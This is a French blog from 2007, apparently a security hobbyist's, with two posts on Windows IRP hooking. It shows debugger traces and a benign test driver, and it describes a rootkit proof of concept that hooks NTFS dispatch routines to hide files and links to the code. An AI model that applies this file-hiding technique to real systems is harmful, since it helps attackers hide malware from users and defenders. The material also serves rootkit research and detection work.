Archive for avril, 2007

POC IRP Hooking

Vous l’attendiez, le voilà ! Le POC de mon précédent post, ou l’art de planquer des fichiers en utilisant un IRP Hook. Mais avant que vous fassiez des bêtises, on va mettre au clair quelques petites choses.

Pour récupérer le contenu d’un dossier, l’OS va utiliser un appel système sur l’API NtQueryDirectoryFile. Cette API va ensuite forger une requête, un IRP, et l’envoyé au driver Nfts qui se chargera de répondre. La routine du driver Nfts qui est utilisée s’appelle NtfsFsdDirectoryControl de prototype :

NTSTATUS MyNtfsFsdDirectoryControl (
	IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp
);

Les arguments sont passés à travers l’IRP. Par exemple, lorsque vous affichez le contenu de votre C:\, voici ce qui se passe.

Breakpoint 1 hit
Ntfs!NtfsFsdDirectoryControl:
fcb3f2c3 684c010000      push    14Ch
kd> kb
ChildEBP RetAddr  Args to Child
f9316cd0 804e3d77 80e7a408 ffacb430 80e8cf38 Ntfs!NtfsFsdDirectoryControl
f9316ce0 fcbbb459 f9316d0c 804e3d77 80e7add0 nt!IopfCallDriver+0x31
f9316ce8 804e3d77 80e7add0 ffacb430 806ed070 sr!SrPassThrough+0x31
f9316cf8 8056a9ab f9316d64 00c2de3c 80574dad nt!IopfCallDriver+0x31
f9316d0c 80574e0a 80e7add0 ffacb430 80e39118 nt!IopSynchronousServiceTail+0x60
f9316d30 804df06b 00000544 00000000 00000000 nt!NtQueryDirectoryFile+0x5d
f9316d30 7c91eb94 00000544 00000000 00000000 nt!KiFastCallEntry+0xf8
00c2de04 7c91df6a 7c80eec2 00000544 00000000 ntdll!KiFastSystemCallRet
00c2de08 7c80eec2 00000544 00000000 00000000 ntdll!ZwQueryDirectoryFile+0xc
00c2e114 7c9f8afd 00c2e3bc 00000000 001500ac kernel32!FindFirstFileExW+0x3a0
00c2e138 7c9f8a97 00c2e3bc 001500ac 0014fe9c SHELL32!SHFindFirstFile+0x2a
00c2e38c 7c9fa996 00100138 00000000 00c2e3bc SHELL32!SHFindFirstFileRetry+0x5b
00c2e5dc 7c9fa870 00101a88 00101a70 00c2e604 SHELL32!CFileSysEnum::Init+0x14b
00c2e5ec 7c9fab6d 0010c820 00100138 00000060 SHELL32!CFSFolder_CreateEnum+0x37
00c2e604 7c9ff03d 0010c830 00100138 00000060 SHELL32!CFSFolder::EnumObjects+0x30
00c2e638 7c9ffa3e 00100138 0014b7f4 0014b7d8 SHELL32!CDefviewEnumTask::FillObjectsToDPA+0x8b
00c2e68c 7774e201 00000001 00000000 0014b7d8 SHELL32!CDefView::CreateViewWindow2+0x2de
WARNING: Frame IP not in any known module. Following frames may be wrong.
00c2e738 777392ca 000dac20 0014b7d8 0014e210 0x7774e201
00c2e848 77f5a77f 00106900 777364e1 0013fac4 0x777392ca
00c2e77c 75f35fa2 000dac24 0014e210 00145798 SHLWAPI!EnumConnectionPointSinks+0xac

Dans la call stack on peut retrouver les arguments passé à la fonction NtQueryDirectoryFile :

kd> dd 00c2de08+8
00c2de10  00000544 00000000 00000000 00000000
00c2de20  00c2de78 00c2dea8 00000268 00000003
00c2de30  00000001 00c2de90 00000000

Ce qui correspond, pour être plus clair à l’appel suivant :

ZwQueryDirectoryFile(
IN HANDLE FileHandle, -> 0x544
IN HANDLE Event OPTIONAL, -> NULL
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, -> NULL
IN PVOID ApcContext OPTIONAL, -> NULL
OUT PIO_STATUS_BLOCK IoStatusBlock, -> 0xc2de78
OUT PVOID Buffer, -> 0xc2dea8
IN ULONG BufferLength,-> 0x268
IN FILE_INFORMATION_CLASS FileInformationClass, -> 0x3=FileBothDirectoryInformation
IN BOOLEAN ReturnSingleEntry, -> 1=TRUE
IN PUNICODE_STRING FileName, -> 0xc2de90
IN BOOLEAN RestartScan -> NULL
);

En analysant un peu les arguments, le FileHandle correspond à :

kd> !handle 544
processor number 0, process ffb5f798
PROCESS ffb5f798  SessionId: 0  Cid: 0524    Peb: 7ffd9000  ParentCid: 0504
    DirBase: 009a5000  ObjectTable: e1793b28  HandleCount: 340.
    Image: explorer.exe

Handle table at e1536000 with 340 Entries in use
0544: Object: 80e39118  GrantedAccess: 00100001 Entry: e1536a88
Object: 80e39118  Type: (80e95e70) File
    ObjectHeader: 80e39100
        HandleCount: 1  PointerCount: 3
        Directory Object: 00000000  Name: \\ {HarddiskVolume1}

Un handle du process explorer.exe de type File, portant le nom de ‘\’ attaché au HarddiskVolume1. En fait c’est tout simplement le handle sur C:\

Le FileName quant à lui contient :

kd> !ustr 00c2de90
String(2,6) at 00c2de90: *

Le fichier demandé est donc C:\*

Enfin le FileInformationClass est mit à FileBothDirectoryInformation (3). Ce qui veut dire que la fonction va renvoyer dans la Buffer en 0xc2dea8 une liste chaînée de structures FILE_BOTH_DIRECTORY_INFORMATION contenant les descriptions des fichiers contenu dans C:\

Vous voyez que c’est pas compliqué Windows :}

Maitenant qu’on sait ce que NtQueryDirectoryFile doit faire, regardons la forme de l’IRP.

kd> !irp ffacb430
Irp is active with 9 stacks 9 is current (= 0xffacb5c0)
 No Mdl: No System Buffer: Thread 80d4e020:  Irp stack trace.
     cmd  flg cl Device   File     Completion-Context
 [  0, 0]   0  0 00000000 00000000 00000000-00000000    

			Args: 00000000 00000000 00000000 00000000
 [  0, 0]   0  0 00000000 00000000 00000000-00000000    

			Args: 00000000 00000000 00000000 00000000
 [  0, 0]   0  0 00000000 00000000 00000000-00000000    

			Args: 00000000 00000000 00000000 00000000
 [  0, 0]   0  0 00000000 00000000 00000000-00000000    

			Args: 00000000 00000000 00000000 00000000
 [  0, 0]   0  0 00000000 00000000 00000000-00000000    

			Args: 00000000 00000000 00000000 00000000
 [  0, 0]   0  0 00000000 00000000 00000000-00000000    

			Args: 00000000 00000000 00000000 00000000
 [  0, 0]   0  0 00000000 00000000 00000000-00000000    

			Args: 00000000 00000000 00000000 00000000
 [  0, 0]   0  0 00000000 00000000 00000000-00000000    

			Args: 00000000 00000000 00000000 00000000
>[  c, 1]   2  0 80e7a408 80e39118 00000000-00000000
	       FileSystemNtfs
			Args: 00000268 ffb03038 00000003 00000000

[ c, 1] Veut dire qu’on à fait appel à une routines IRP_MJ_DIRECTORY_CONTROL(0xc) avec le code IRP_MN_QUERY_DIRECTORY(1). Dans les arguments de l’IRP on peut retrouver la taille du Buffer (0×268) et le FileInformationClass (3). Le Buffer lui est placé dans le champ UserBuffer de l’IRP.

Maintenant qu’on sait tout ca, on peut définir le fonctionnement du hook. Il s’agit de modifier la table des Dispatch routines du driver Nfts afin d’y mettre notre fonction à la place de NtfsFsdDirectoryControl. Notre fonction va vérifier si les arguments passés à la routine vérifient certaines propriétés, sachant qu’on désire modifier le résultat de la requête afin de supprimer dans la liste chainée un ou plusieurs fichiers, il nous faut donc s’intéresser aux requêtes qui vérifient :
- Le champ MinorFunction de l’IRP vaut IRP_MN_QUERY_DIRECTORY
- Le champ Irp->Parameters.QueryDirectory.FileInformationClass vaut une de ces valeurs :
FileDirectoryInformation
FileFullDirectoryInformation
FileBothDirectoryInformation
FileNamesInformation

Si ces conditions ne sont pas vérifiées alors on return en appelant la fonction originale NtfsFsdDirectoryControl pour compléter la requête.

Dans la cas ou les conditions sont OK, on appel toujours la fonction NtfsFsdDirectoryControl puis on parcourt la liste chainée en modifiant au besoins les résultats.

Enfin, il reste aussi la routine NtfsFsdCreate, qui permet à partir d’un nom de fichier de d’obtenir un handle. Ainsi il est possible d’ouvrir un fichier en même si on ne voit pas « directement ». Il faut donc tenir compte de ce problème en posant un hook sur cette routine et en vérifiant le nom du fichier. Si jamais il correspond à ceux qu’on veut cacher alors on renvoie un STATUS_OBJECT_NAME_INVALID.

Dans mon code, tout les fichiers et dossiers commençant par un ‘_’ sont cachés. De plus si l’utiliser essaye d’ouvrir un handle sur le fichier C:\_bouh.txt la routine NtfsFsdCreate renverra STATUS_OBJECT_NAME_INVALID.

Voici de quoi vous amusez

http://ivanlef0u.fr/repo/IRP.rar

Enjoy !

En cas de soucis n’hesitez pas à me poser des questions.

Références :

http://www.rootkit.com/newsread_print.php?newsid=690
http://www.rootkit.com/newsread.php?newsid=647
http://msdn2.microsoft.com/en-us/library/ms795825.aspx
http://msdn2.microsoft.com/en-us/library/ms795806.aspx
http://www.antirootkit.com/articles/Nailuj-Rootkit-Analysis/index.htm
http://ivanlef0u.fr/repo/windoz/hidingfr.txt

11 comments avril 26th, 2007

IRP Hooking

Hiver nucléaire, le ciel s’est assombrit depuis longtemps, les températures ont chuté et le monde s’est retrouvé recouvert de neige. Planète dévastée, population décimée, les derniers survivants s’entassent dans des refuges, luttant chaque jour pour survivre contre le froid et la faim. La routine se résume aux actes les plus basiques, l’inertie environnementale est telle que l’espoir d’une tentative pour améliorer la situation est faible. Depuis le bombardement nucléaire les individus se sont retrouvés disloqués, éparpillés dans des zones de survies, au fur et à mesure se sont crée des nouvelles nations, se bâtissant sur les ruines des anciennes, certes moins puissantes que les originelles elles n’en sont pas moins restées autant autarciques. L’objectif de ces nouvelles patries est simple, le retour de lumière solaire mais uniquement au dessus de leurs territoires, les autres peuvent mourir. Ainsi est née une guerre après la guerre, tout les coups sont permis pour s’approprier les dernières découvertes du voisin.


Pourtant certains s’interrogent sur cette situation, ils envisagent une alliance mondiale visant à rassembler les nations. On leurs rétorque que des ennemis resteront toujours des ennemis et qu’après le retour du soleil ces derniers n’hésiteront pas à briser l’alliance. Au final, chacun travaille de son coté sur le même grand projet et on est en droit de se demander combien de temps l’humanité va t’elle encore souffrir de la vanité.

C’est durant ce contexte que se sont développés des réseaux parallèles d’informations, les idées sont échangées librement entre les membres, sans se partage les plus grandes découvertes n’auraient jamais eu lieu. Cette communauté active, travaille dans l’ombre, désintéressée du profit, son but est pourtant le même que tous mais pour eux un partage global des connaissances est la clé de la réussite.

Pour ceux qui n’auraient pas vu que cette petite histoire écrite sous trip chocapics est une analogie à la manière dont je perçois le monde de l’informatique. D’un coté les grandes sociétés, se croyant maître dans leurs domaine et gardant jalousement leurs découvertes. En face une communauté prônant un partage de l’information, sa puissance provenant de son enrichissement par des idées innovatrices venues de toutes parts. Force est de constater que de nombreuses idées de l’underground informatique on été reprises par les sociétés, surtout dans le domaine de la sécu-info, les hackers sont les inventeurs.

Ainsi en y pensant un peu, j’ai remarqué que c’est grâce à ces hackers que j’ai apprit, uniquement parce que quelques personnes ont jugé qu’il était plus judicieux de partager leurs idées et connaissances plutôt que de les vendre au plus offrant. C’est en fait le but de ce blog, je veux juste partager ce que je sais faire en espérant que grâce à cela d’autres découvrent et apprennent.

Ha je me rends compte que je vous casse les couilles avec mes conneries racontées en caleçon (vous voulez des photos ? envoyez la monnaie ! Et si vous êtes une fille envoyez votre photo d’abord :]). Je me souviens en fait que j’ai mit un titre et qu’il serait plus intéressant que j’essaye de le suivre plutôt que lassé par mes bêtises vous retourniez coder devant votre porno.

#include <pr0n.h>

Ca me revient, j’avais envie de faire un post sur l’IRP hooking, technique de détournement de fonctions qui va se nicher dans le trou du cul du système et qui permet de se passer (dans certains cas) de Hook SSDT et de DKOM. Pour commencer on va regarder un peu comment l’OS gère la communication avec ses drivers. Partons avec le code suivant :

#include <ntddk.h>

#define DeviceName L"\Device\IRPdev"
#define LnkDeviceName L"\Global??\IRPdev" // <=>  DosDevicesIRPdev

NTSTATUS DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
	UNICODE_STRING usLnkName;
	RtlInitUnicodeString(&usLnkName,LnkDeviceName);
	IoDeleteSymbolicLink(&usLnkName);

	IoDeleteDevice(DriverObject->DeviceObject);
	DbgPrint("Bye Mofo !!n");
	return STATUS_SUCCESS;
}

NTSTATUS DriverDispatchCreate(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
	DbgPrint("DriverDispatchCreate reachedn");

	__asm{int 3} //BP
	Irp->IoStatus.Status=STATUS_SUCCESS;
  	IoCompleteRequest(Irp,IO_NO_INCREMENT);
  	return Irp->IoStatus.Status;
}

NTSTATUS DriverDispatchClose(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
	DbgPrint("DriverDispatchClose reachedn");

	__asm{int 3} //BP
	Irp->IoStatus.Status=STATUS_SUCCESS;
  	IoCompleteRequest(Irp,IO_NO_INCREMENT);
  	return Irp->IoStatus.Status;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT  pDriverObject, PUNICODE_STRING  pRegistryPath)
{
	ULONG i,NtStatus;
	PDEVICE_OBJECT pDeviceObject=NULL;
	UNICODE_STRING usDriverName,usLnkName;

	DbgPrint("Hello from KernelLand mastern");

	pDriverObject->MajorFunction[IRP_MJ_CREATE]=DriverDispatchCreate;
	pDriverObject->MajorFunction[IRP_MJ_CLOSE]=DriverDispatchClose;

	RtlInitUnicodeString(&usDriverName,DeviceName);
	RtlInitUnicodeString(&usLnkName,LnkDeviceName);

	NtStatus=IoCreateDevice(pDriverObject,
							0,
	 						&usDriverName,
	 						FILE_DEVICE_UNKNOWN,
	 						FILE_DEVICE_SECURE_OPEN,
	 						FALSE,
	 						&pDeviceObject);
	if(NtStatus!=STATUS_SUCCESS)
	{
		DbgPrint("Error with IoCreateDevice : 0x%x", NtStatus);
		return STATUS_UNSUCCESSFUL;
	}	

	pDeviceObject->Flags|=DO_DIRECT_IO;	

	NtStatus=IoCreateSymbolicLink(&usLnkName,&usDriverName);
	if(NtStatus!=STATUS_SUCCESS)
	{
		DbgPrint("Error with IoCreateSymbolicLink : 0x%x", NtStatus);
		return STATUS_UNSUCCESSFUL;
	}

	pDriverObject->DriverUnload=DriverUnload;

	return STATUS_SUCCESS;
}

Ce code initialise un device crée par IoCreateDevice qui est en fait interface permettant au système de communiquer avec le driver. Les 2 routines DriverDispatch permettant de gérer les requètes. Afin que le process puissent eux aussi communiquer avec le driver on doit créer un Symbolic Link avec la fonction IoCreateSymbolicLink qui place un objet dans l’ObpRootDirectoryObject (\\Global?? ou \\Dosdevice) servant à retrouver le device objet.

Le driver est représenté par un objet DRIVER_OBJECT et le device par un objet (attention!) DEVICE_OBJECT nommé \\Device\\IRPdev.

Pour mieux comprendre le rôle des devices, le driver i8042prt gère à la fois le port souris et le clavier (ps2) ainsi en regardant sous le KD ses caractéristiques on peut voir :

kd> !drvobj driveri8042prt
Driver object (81dac788) is for:
 Driveri8042prt
Driver Extension List: (id , addr)

Device Object list:
81d9a7d0  81e0c628

Ce drivers possède 2 devices attachés. Celui ci représente l’interface pour la souris.

kd> !devobj 81d9a7d0
Device object (81d9a7d0) is for:
  Driveri8042prt DriverObject 81dac788
Current Irp 00000000 RefCount 0 Type 00000027 Flags 00002004
DevExt 81d9a888 DevObjExt 81d9ab18
ExtensionFlags (0000000000)
AttachedDevice (Upper) 81d98040 DriverMouclass
AttachedTo (Lower) 81fe6950 DriverACPI
Device queue is not busy.

Et le dernier concerne l’interface pour le clavier.

kd> !devobj 81e0c628
Device object (81e0c628) is for:
  Driveri8042prt DriverObject 81dac788
Current Irp 00000000 RefCount 0 Type 00000027 Flags 00002004
DevExt 81e0c6e0 DevObjExt 81e0c970
ExtensionFlags (0000000000)
AttachedDevice (Upper) 81d9d228 DriverKbdclass
AttachedTo (Lower) 81fe6a78 DriverACPI
Device queue is not busy.

Maintenant voici un petit programme qui va communiquer avec le driver vu plus haut :

#include <windows.h>
#include <stdio.h>
ULONG main()
{
	HANDLE hFile;
	hFile=CreateFile(TEXT("\.\IRPdev"), // file to open
                   GENERIC_READ,          // open for reading
                   FILE_SHARE_READ,       // share for reading
                   NULL,                  // default security
                   OPEN_EXISTING,         // existing file only
                   FILE_ATTRIBUTE_NORMAL, // normal file
                   NULL);                 // no attr. template

	if (hFile==INVALID_HANDLE_VALUE)
	{
    	printf("Error with CreateFile : %d n", GetLastError());
    	return 0;
	}

	CloseHandle(hFile);
	return 0;
}

La fonction CreateFile va demander l’obtention d’un handle, cette action sera gérée par la routine du driver DriverDispatchCreate, ensuite le CloseHande demande la fermeture du handle et sera géré par DriverDispatchClose. Le mieux étant évidemment de tester et de voir par nous même. Après avoir charger le driver dans ma VM et lancer mon programme j’atteint le 1er breakpoint (int 3), en jetant un coup d’œil sur la call stack on observe ceci :

Hello from KernelLand master
DriverDispatchCreate reached
Break instruction exception - code 80000003 (first chance)
irp!DriverDispatchCreate+0x11:
fd2cd4cb cc              int     3
kd> kb
ChildEBP RetAddr  Args to Child
f95a6a4c 804e3d77 80df6998 80d856a0 80d856a0 irp!DriverDispatchCreate+0x11 [c:driversirpio.c @ 31]
f95a6a5c 80570f9c 80df6980 ffaed7ec f95a6c04 nt!IopfCallDriver+0x31
f95a6b3c 8056386c 80df6998 00000000 ffaed748 nt!IopParseDevice+0xa58
f95a6bc4 80567c63 00000000 f95a6c04 00000040 nt!ObpLookupObjectName+0x56a
f95a6c18 80571477 00000000 00000000 0fffff01 nt!ObOpenObjectByName+0xeb
f95a6c94 80571546 0012ff3c 80100080 0012fedc nt!IopCreateFile+0x407
f95a6cf0 8057167c 0012ff3c 80100080 0012fedc nt!IoCreateFile+0x8e
f95a6d30 804df06b 0012ff3c 80100080 0012fedc nt!NtCreateFile+0x30
f95a6d30 7c91eb94 0012ff3c 80100080 0012fedc nt!KiFastCallEntry+0xf8
0012fe98 7c91d68e 7c810b2c 0012ff3c 80100080 ntdll!KiFastSystemCallRet
0012fe9c 7c810b2c 0012ff3c 80100080 0012fedc ntdll!NtCreateFile+0xc
0012ff34 7c801a4f 00000000 80000000 00000001 kernel32!CreateFileW+0x35f
0012ff58 004006f1 004002e8 80000000 00000001 kernel32!CreateFileA+0x30
WARNING: Stack unwind information not available. Following frames may be wrong.
0012ff80 00400807 00000001 00410b20 00410aa0 test+0x6f1
0012ffc0 7c816d4f 00370031 002d0031 7ffdc000 test+0x807
0012fff0 00000000 00400753 00000000 78746341 kernel32!BaseProcessStart+0x23

L’API CreateFile appel l’api native NtCreateFile. Arrivé dans le noyau le système vérifie avec la fonction ObpLookupObjectName que l’objet existe dans l’ObpRootDirectoryObject est plus précisément dans la partie contenant symbolic links, \\Global??. Après avoir récupéré le device object qui contient un pointeur sur le driver object l’I/O Manager forge un IRP qui sera envoyé au driver par l’appel IopfCallDriver. L’IRP (I/O Request Packet) en fait la structure servant de protocole de communication avec les drivers. Enfin notre driver traite la requête en disant quelle à réussi et renvoie le résultat avec IoCompleteRequest.

En relançant l’OS on atteint le second breakpoint et on retrouve le même schéma de fonctionnement.

kd> g
DriverDispatchClose reached
Break instruction exception - code 80000003 (first chance)
irp!DriverDispatchClose+0x11:
fd2cd519 cc              int     3
kd> kb
ChildEBP RetAddr  Args to Child
f95a6c5c 804e3d77 80df6998 80d856a0 80d856a0 irp!DriverDispatchClose+0x11 [c:driversirpio.c @ 42]
f95a6c6c 8056afec 80cefac8 00000000 00000000 nt!IopfCallDriver+0x31
f95a6ca4 80563ff6 00cefae0 80cefac8 00000000 nt!IopDeleteFile+0x132
f95a6cc0 804e3c55 80cefae0 00000000 0000001c nt!ObpRemoveObjectRoutine+0xdf
f95a6ce4 80567543 80cd2da0 e15da928 80cd7440 nt!ObfDereferenceObject+0x5f
f95a6cfc 805675ac e15da928 80cefae0 0000001c nt!ObpCloseHandleTableEntry+0x155
f95a6d44 805675f6 0000001c 00000001 00000000 nt!ObpCloseHandle+0x87
f95a6d58 804df06b 0000001c 0012ff70 7c91eb94 nt!NtClose+0x1d
f95a6d58 7c91eb94 0000001c 0012ff70 7c91eb94 nt!KiFastCallEntry+0xf8
0012ff60 7c91d592 7c809bbb 0000001c 0012ff80 ntdll!KiFastSystemCallRet
0012ff64 7c809bbb 0000001c 0012ff80 0040071c ntdll!ZwClose+0xc
0012ff70 0040071c 0000001c 0000001c 0012ffc0 kernel32!CloseHandle+0x51
WARNING: Stack unwind information not available. Following frames may be wrong.
0012ff80 00400807 00000001 00410b20 00410aa0 test+0x71c
0012ffc0 7c816d4f 00370031 002d0031 7ffdc000 test+0x807
0012fff0 00000000 00400753 00000000 78746341 kernel32!BaseProcessStart+0x23

La fonction !devobj du KD permet de retrouver diverses info sur notre device.

kd> !devobj deviceIRPdev
Device object (80df6998) is for:
 IRPdev Driverirp DriverObject 80d884e0
Current Irp 00000000 RefCount 1 Type 00000022 Flags 00000050
Dacl e1259364 DevExt 00000000 DevObjExt 80df6a50
ExtensionFlags (0000000000)
Device queue is not busy.

Cette fonction agit tout simplement en récupérant les infos de la structure DEVICE_OBJECT.

kd> dt nt!_DEVICE_OBJECT 80df6998
   +0x000 Type             : 3
   +0x002 Size             : 0xb8
   +0x004 ReferenceCount   : 1
   +0x008 DriverObject     : 0x80d884e0 _DRIVER_OBJECT
   +0x00c NextDevice       : (null)
   +0x010 AttachedDevice   : (null)
   +0x014 CurrentIrp       : (null)
   +0x018 Timer            : (null)
   +0x01c Flags            : 0x50
   +0x020 Characteristics  : 0x100
   +0x024 Vpb              : (null)
   +0x028 DeviceExtension  : (null)
   +0x02c DeviceType       : 0x22
   +0x030 StackSize        : 1 ''
   +0x034 Queue            : __unnamed
   +0x05c AlignmentRequirement : 0
   +0x060 DeviceQueue      : _KDEVICE_QUEUE
   +0x074 Dpc              : _KDPC
   +0x094 ActiveThreadCount : 0
   +0x098 SecurityDescriptor : 0xe1259350
   +0x09c DeviceLock       : _KEVENT
   +0x0ac SectorSize       : 0
   +0x0ae Spare1           : 0
   +0x0b0 DeviceObjectExtension : 0x80df6a50 _DEVOBJ_EXTENSION
   +0x0b4 Reserved         : (null)

Pareil, la fonction !drvobj permet de voir ce qui notre driver à dans le ventre.

kd> !drvobj Driverirp 3
Driver object (80d884e0) is for:
 Driverirp
Driver Extension List: (id , addr)

Device Object list:
80df6998  

DriverEntry:   fd3145c2	irp!DriverEntry
DriverStartIo: 00000000
DriverUnload:  fd31443a	irp!DriverUnload

Dispatch routines:
[00] IRP_MJ_CREATE                      fd31449c	irp!DriverDispatchCreate
[01] IRP_MJ_CREATE_NAMED_PIPE           805025e4	nt!IopInvalidDeviceRequest
[02] IRP_MJ_CLOSE                       fd3144ea	irp!DriverDispatchClose
[03] IRP_MJ_READ                        805025e4	nt!IopInvalidDeviceRequest
[04] IRP_MJ_WRITE                       805025e4	nt!IopInvalidDeviceRequest
[05] IRP_MJ_QUERY_INFORMATION           805025e4	nt!IopInvalidDeviceRequest
[06] IRP_MJ_SET_INFORMATION             805025e4	nt!IopInvalidDeviceRequest
[07] IRP_MJ_QUERY_EA                    805025e4	nt!IopInvalidDeviceRequest
[08] IRP_MJ_SET_EA                      805025e4	nt!IopInvalidDeviceRequest
[09] IRP_MJ_FLUSH_BUFFERS               805025e4	nt!IopInvalidDeviceRequest
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    805025e4	nt!IopInvalidDeviceRequest
[0b] IRP_MJ_SET_VOLUME_INFORMATION      805025e4	nt!IopInvalidDeviceRequest
[0c] IRP_MJ_DIRECTORY_CONTROL           805025e4	nt!IopInvalidDeviceRequest
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         805025e4	nt!IopInvalidDeviceRequest
[0e] IRP_MJ_DEVICE_CONTROL              805025e4	nt!IopInvalidDeviceRequest
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     805025e4	nt!IopInvalidDeviceRequest
[10] IRP_MJ_SHUTDOWN                    805025e4	nt!IopInvalidDeviceRequest
[11] IRP_MJ_LOCK_CONTROL                805025e4	nt!IopInvalidDeviceRequest
[12] IRP_MJ_CLEANUP                     805025e4	nt!IopInvalidDeviceRequest
[13] IRP_MJ_CREATE_MAILSLOT             805025e4	nt!IopInvalidDeviceRequest
[14] IRP_MJ_QUERY_SECURITY              805025e4	nt!IopInvalidDeviceRequest
[15] IRP_MJ_SET_SECURITY                805025e4	nt!IopInvalidDeviceRequest
[16] IRP_MJ_POWER                       805025e4	nt!IopInvalidDeviceRequest
[17] IRP_MJ_SYSTEM_CONTROL              805025e4	nt!IopInvalidDeviceRequest
[18] IRP_MJ_DEVICE_CHANGE               805025e4	nt!IopInvalidDeviceRequest
[19] IRP_MJ_QUERY_QUOTA                 805025e4	nt!IopInvalidDeviceRequest
[1a] IRP_MJ_SET_QUOTA                   805025e4	nt!IopInvalidDeviceRequest
[1b] IRP_MJ_PNP                         805025e4	nt!IopInvalidDeviceRequest

Qui est au final un parsing des infos contenues dans la structure DRIVER_OBJECT.

kd> dt nt!_DRIVER_OBJECT 0x80d884e0
   +0x000 Type             : 4
   +0x002 Size             : 168
   +0x004 DeviceObject     : 0x80df6998 _DEVICE_OBJECT
   +0x008 Flags            : 0x12
   +0x00c DriverStart      : 0xfd314000
   +0x010 DriverSize       : 0x880
   +0x014 DriverSection    : 0x80d18928
   +0x018 DriverExtension  : 0x80d88588 _DRIVER_EXTENSION
   +0x01c DriverName       : _UNICODE_STRING "Driverirp"
   +0x024 HardwareDatabase : 0x8068de90 _UNICODE_STRING "REGISTRYMACHINEHARDWAREDESCRIPTIONSYSTEM"
   +0x028 FastIoDispatch   : (null)
   +0x02c DriverInit       : 0xfd3145c2     irp!DriverEntry+0
   +0x030 DriverStartIo    : (null)
   +0x034 DriverUnload     : 0xfd31443a     irp!DriverUnload+0
   +0x038 MajorFunction    : [28] 0xfd31449c     irp!DriverDispatchCreate+0

Dans les Drivers Routines on retrouve mes 2 fonctions DriverDispatchCreate et DriverDispatchClose correspondant à des requêtes de type IRP_MJ_CREATE et IRP_MJ_CLOSE. Les autres IRP_MJ_XX sont renvoyés vers une routine de l’I/O Manager, IopInvalidDeviceRequest, servant juste à dire qu’elles n’ont pas abouti.

C’est sur ces routines que repose l’art de l’IRP Hooking, en effet on retrouve une table contenant des pointeurs sur des fonctions chargées de gérer des demandes. Ainsi en modifiant ces pointeurs on peut remplacer ces fonctions par les nôtres et modifier le comportement du driver. Maintenant que le driver de test nous à permit de voir comment cela fonctionnait, on va tenter d’appliquer cette méhtode au driver du système de fichier, ntfs, dans le but, bien évidemment, de faire disparaître des fichiers ! (HAN le méchant !!)

Voici ce que la fonction !drvobj nous sort à propos du driver ntfs

kd> !drvobj Filesystemntfs 3
Driver object (80e8c578) is for:
 FileSystemNtfs
Driver Extension List: (id , addr)

Device Object list:
80e7a408  80e8c460  

DriverEntry:   fcb9c204	Ntfs!GsDriverEntry
DriverStartIo: 00000000
DriverUnload:  00000000	

Dispatch routines:
[00] IRP_MJ_CREATE                      fcb3ce37	Ntfs!NtfsFsdCreate
[01] IRP_MJ_CREATE_NAMED_PIPE           805025e4	nt!IopInvalidDeviceRequest
[02] IRP_MJ_CLOSE                       fcb3c320	Ntfs!NtfsFsdClose
[03] IRP_MJ_READ                        fcb19ee4	Ntfs!NtfsFsdRead
[04] IRP_MJ_WRITE                       fcb18bca	Ntfs!NtfsFsdWrite
[05] IRP_MJ_QUERY_INFORMATION           fcb3d4d1	Ntfs!NtfsFsdDispatchWait
[06] IRP_MJ_SET_INFORMATION             fcb1aa58	Ntfs!NtfsFsdSetInformation
[07] IRP_MJ_QUERY_EA                    fcb3d4d1	Ntfs!NtfsFsdDispatchWait
[08] IRP_MJ_SET_EA                      fcb3d4d1	Ntfs!NtfsFsdDispatchWait
[09] IRP_MJ_FLUSH_BUFFERS               fcb42a68	Ntfs!NtfsFsdFlushBuffers
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    fcb3d61c	Ntfs!NtfsFsdDispatch
[0b] IRP_MJ_SET_VOLUME_INFORMATION      fcb3d61c	Ntfs!NtfsFsdDispatch
[0c] IRP_MJ_DIRECTORY_CONTROL           fcb3f2c3	Ntfs!NtfsFsdDirectoryControl
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         fcb446d5	Ntfs!NtfsFsdFileSystemControl
[0e] IRP_MJ_DEVICE_CONTROL              fcb3d61c	Ntfs!NtfsFsdDispatch
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     805025e4	nt!IopInvalidDeviceRequest
[10] IRP_MJ_SHUTDOWN                    fcb2b621	Ntfs!NtfsFsdShutdown
[11] IRP_MJ_LOCK_CONTROL                fcb90b11	Ntfs!NtfsFsdLockControl
[12] IRP_MJ_CLEANUP                     fcb3ccee	Ntfs!NtfsFsdCleanup
[13] IRP_MJ_CREATE_MAILSLOT             805025e4	nt!IopInvalidDeviceRequest
[14] IRP_MJ_QUERY_SECURITY              fcb3d61c	Ntfs!NtfsFsdDispatch
[15] IRP_MJ_SET_SECURITY                fcb3d61c	Ntfs!NtfsFsdDispatch
[16] IRP_MJ_POWER                       805025e4	nt!IopInvalidDeviceRequest
[17] IRP_MJ_SYSTEM_CONTROL              805025e4	nt!IopInvalidDeviceRequest
[18] IRP_MJ_DEVICE_CHANGE               805025e4	nt!IopInvalidDeviceRequest
[19] IRP_MJ_QUERY_QUOTA                 fcb3d4d1	Ntfs!NtfsFsdDispatchWait
[1a] IRP_MJ_SET_QUOTA                   fcb3d4d1	Ntfs!NtfsFsdDispatchWait
[1b] IRP_MJ_PNP                         fcb5bf3f	Ntfs!NtfsFsdPnp

Fast I/O routines:
FastIoCheckIfPossible                   fcb535ac	Ntfs!NtfsFastIoCheckIfPossible
FastIoRead                              fcb37b85	Ntfs!NtfsCopyReadA
FastIoWrite                             fcb43097	Ntfs!NtfsCopyWriteA
FastIoQueryBasicInfo                    fcb3c21a	Ntfs!NtfsFastQueryBasicInfo
FastIoQueryStandardInfo                 fcb3c0ae	Ntfs!NtfsFastQueryStdInfo
FastIoLock                              fcb43a4d	Ntfs!NtfsFastLock
FastIoUnlockSingle                      fcb43b53	Ntfs!NtfsFastUnlockSingle
FastIoUnlockAll                         fcb9071c	Ntfs!NtfsFastUnlockAll
FastIoUnlockAllByKey                    fcb90861	Ntfs!NtfsFastUnlockAllByKey
AcquireFileForNtCreateSection           fcb378ba	Ntfs!NtfsAcquireForCreateSection
